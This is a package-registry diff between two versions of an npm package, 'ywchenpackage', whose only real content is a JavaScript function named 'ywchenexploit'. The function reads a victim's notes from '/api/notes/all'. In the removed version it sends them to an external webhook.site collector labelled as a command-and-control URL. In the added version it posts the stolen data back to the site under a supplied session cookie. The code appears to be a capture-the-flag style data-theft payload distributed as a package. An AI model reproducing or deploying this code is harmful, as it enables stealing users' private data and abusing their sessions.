ywchenpackage 1.0.4 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +14 -3
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,6 +1,6 @@
1
- function ywchenexploit() {
1
+ function ywchenexploit(cookie) {
2
2
  let stolenurl = "/api/notes/all";
3
- let c2url = "https://webhook.site/21b9dee7-20fa-4f87-8591-610784ad1f2e";
3
+ let c2url = "/api/notes";
4
4
  fetch(stolenurl)
5
5
  .then(
6
6
  function(response){
@@ -8,7 +8,18 @@ function ywchenexploit() {
8
8
  }
9
9
  ).then(
10
10
  function(response){
11
- fetch(c2url + "?data=" + JSON.stringify(response[0]));
11
+ let stolen = response[0];
12
+ stolen.author = "aaaa";
13
+ fetch(
14
+ c2url, {
15
+ method: "POST",
16
+ headers: {
17
+ "content-type": "application/json",
18
+ "cookie": "session="+cookie
19
+ },
20
+ body: JSON.stringify({"title":stolen.title+"_id","content":stolen.id})
21
+ }
22
+ );
12
23
  })
13
24
  return "hello NPM"
14
25
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ywchenpackage",
3
- "version": "1.0.4",
3
+ "version": "1.0.5",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {